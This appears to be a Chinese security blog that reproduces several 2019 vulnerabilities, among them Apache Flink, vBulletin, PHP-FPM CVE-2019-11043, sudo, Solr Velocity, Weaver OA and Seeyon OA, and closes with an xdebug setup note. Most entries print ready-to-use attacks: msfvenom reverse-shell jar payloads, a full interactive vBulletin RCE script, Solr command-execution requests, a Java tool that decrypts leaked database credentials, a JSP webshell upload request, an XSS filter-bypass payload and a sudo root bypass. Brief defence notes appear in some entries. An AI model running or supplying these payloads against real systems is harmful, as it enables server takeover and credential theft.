Author:LSA

Apache flink任意jar上传导致rce漏洞重现

0x00 概述 20191111,网上爆出Apache Flink上传jar包导致远程代码执行的漏洞(安全工程师Henry Chen披露)。因为Apache Flink Dashboard 默认无需认证即可访问,所以可以上传恶意jar包并触发恶意代码执行,从而getshell。 影响范围<= 1.9.1   0x01 漏洞重现 “apache-flink-dashboard” 1)利用MSF msfvenom -p java/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=7766 W >poc.jar 2)利用nc msfvenom -p java/shell_reverse_tcp lhost=1.2.3.4 lport=7766 -f jar > poc.jar   0x02 防御方案 1.设置防火墙策略,仅允许白名单ip访问 apache flink。 2.Web代理(如apache httpd)中增加对该服务的digest认证。 3.关注官网新版本或补丁更新。        

一次xss fuzz绕过防护

  经测试双写,大小写,url编码,超长字符串等都无法绕过 fuzz html tag 大部分标签都可用,就选p标签吧 系统过滤了一些on事件,再fuzz html onevent 还是有大部分可用 尝试<p%20onmouseout=alert`x`>xss</p> 经测试,系统过滤了一些关键字如下 href src alert confirm prompt javascript script 直接unicode编码alert 构造poc “><p onmouseout=\u0061\u006c\u0065\u0072\u0074`x`>xss</p> 成功弹窗        

vBulletin 5.x 0day pre-auth RCE漏洞重现

0x00 概述 201909 vbulletin5(5.0.0-5.5.4)爆出rce漏洞,利用文件ajax/render/widget_php和post参数widgetConfig[code]可直接远程代码执行。   0x01 漏洞重现 https://seclists.org/fulldisclosure/2019/Sep/31 #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # – site:*.vbulletin.net # – “Powered by vBulletin Version 5.5.4”   import requests import sys   if len(sys.argv) != 2: sys.exit(“Usage: %s <URL to vBulletin>” % sys.argv[0])   params = {“routestring”:”ajax/render/widget_php”}   while True: try: cmd = raw_input(“vBulletin$ “) params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;” r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit(“Exploit failed! :(“) except KeyboardInterrupt: sys.exit(“\nClosing shell…”) except Exception, e: sys.exit(str(e))   0x02 检测工具 https://github.com/theLSA/vbulletin5-rce   0x03 修复方案 打补丁。    

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

sudo漏洞可绕过sudoers安全配置并以root执行命令

0x00 概述 20191015 网上爆出sudo漏洞cve-2019-14287(苹果研究员joe vennix发现),即使在sudoers文件中配置了不允许以root执行某命令,但是攻击者可以利用#-1或#4294967295绕过安全配置,并以root执行某命令。 该漏洞影响bash<1.8.28   0x01 漏洞重现 sudo -u#-1 vim   0x02 漏洞分析 #-1(32位二进制数值溢出后被截断)或#4294967295(2的32次方-1)会被id转用户名的函数误认为 0。Root用户id为0,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。 此外,由于通过–u 选项指定的用户 ID 并不存在于密码数据库中,因此不会运行任何 PAM 会话模块。如果sudoers 条目被写入允许用户以除 root 身份以外的用户身份运行命令,则可利用该 bug 绕过该限制。   0x03 结语 sudoers标准配置无安全问题,不用慌……  

apache solr velocity模板注入漏洞重现

0x00 概述 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 影响范围在solr 5.x – 8.2.0  (with config api)   0x01 漏洞重现 solr-spec 6.6.1 先利用未授权修改params.resource.loader.enabled参数值为true POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” } } 再 GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983   0x02 检测工具 https://github.com/theLSA/solr-rce   0x03 防御方案 1.配置授权访问solr控制台。 2.配置文件configoverlay.json设置只读   0x04 参考资料 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

泛微OA数据库(MSSQL)配置泄露漏洞重现

0x00 概述 201910,网上爆出泛微数据库(MSSQL)配置泄露漏洞,攻击者可以通过漏洞页面DBconfigReader.jsp将获取的的内容解密,可得到明文数据库配置。 影响范围包括不限于8.0、9.0版。   0x01 漏洞重现 利用ecologyexp.jar   package com;   import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;   import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;   public class ReadDbConfig { private final static String DES = “DES”; private final static String key = “1z2x3c4v5b6n”;   public static void main(String[] args) throws Exception { if(args[0]!=null&& args[0].length() !=0){ String url = args[0]+”/mobile/DBconfigReader.jsp”; System.out.println(ReadConfig(url)); }else{ System.err.print(“use: java -jar ecologyExp  http://127.0.0.1”); } }   private static String ReadConfig(String url) throws Exception { CloseableHttpClient httpClient = HttpClientBuilder.create().build(); HttpGet httpGet = new HttpGet(url); CloseableHttpResponse response = httpClient.execute(httpGet); HttpEntity responseEntity = response.getEntity();   byte[] res1 = EntityUtils.toByteArray(responseEntity);   byte[] data = subBytes(res1,10,res1.length-10);   byte [] finaldata =decrypt(data,key.getBytes());   return (new String(finaldata)); }   private static byte[] decrypt(byte[] data, byte[] key) throws Exception {   SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(DES); cipher.init(Cipher.DECRYPT_MODE, securekey, sr);   return cipher.doFinal(data); }   public static byte[]……

致远oa(seeyon)文件上传漏洞重现及分析

0x00 影响范围 经本人测试,如下 v6.1sp2 a6+v7sp3 A8-v5 v6.1sp1 实际范围不止以上版本。 0x01 漏洞重现 验证: 网上流传的exp: DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language=”java” import=”java.util.*,java.io.*” pageEncoding=”UTF-8″%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+”\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if(“asasd3344”.equals(request.getParameter(“pwd”))&&!””.equals(request.getParameter(“cmd”))){out.println(“<pre>”+excuteCmd(request.getParameter(“cmd”)) + “</pre>”);}else{out.println(“:-)”);}%>6e4f045d4b8506bf492ada7e3390d7ce   POC: //根据exp1修改 a6+v7sp3 发送数据包: POST /seeyon/htmlofficeservlet HTTP/1.1 Host: xxx.com.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL= Connection: close Content-Length: 462   DBSTEP V3.0 345 0 21 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 only-test-seeyon-rcexxxxxx   EXP0:传Cknife马 v6.1sp2 POST /seeyon/htmlofficeservlet HTTP/1.1 Host: 58.1.1.2:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=”” Connection: close Content-Length: 9540   DBSTEP V3.0 348 0 9122 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr……

phpstorm+phpstudy+xdebug配置

环境win7+phpstorm2018.3+phpstudy2016+php5.6.27-nts+apache 1. phpstudy开启xdebug扩展   2.修改php.ini: 结尾添加: [XDebug] xdebug.profiler_output_dir=”D:\phpStudy\tmp\xdebug” xdebug.trace_output_dir=”D:\phpStudy\tmp\xdebug” zend_extension=”D:\phpStudy\php\php-5.6.27-nts\ext\php_xdebug.dll”   xdebug.profiler_append = 0 xdebug.profiler_enable = 1 xdebug.profiler_enable_trigger = 0 xdebug.profiler_output_name = “cache.out.%t-%s” xdebug.remote_enable = 1 xdebug.remote_handler = “dbgp” xdebug.remote_mode = “req” xdebug.remote_host = “127.0.0.1” xdebug.remote_port = 9010 xdebug.idekey= PHPSTORM   phpstorm配置与phpstudy同步:    //如果只在phpstudy里面打开项目或者开发就填phpstudy路径就ok    3. 配置xdebug       4. 安装并开启浏览器插件xdebug helper 5. 调试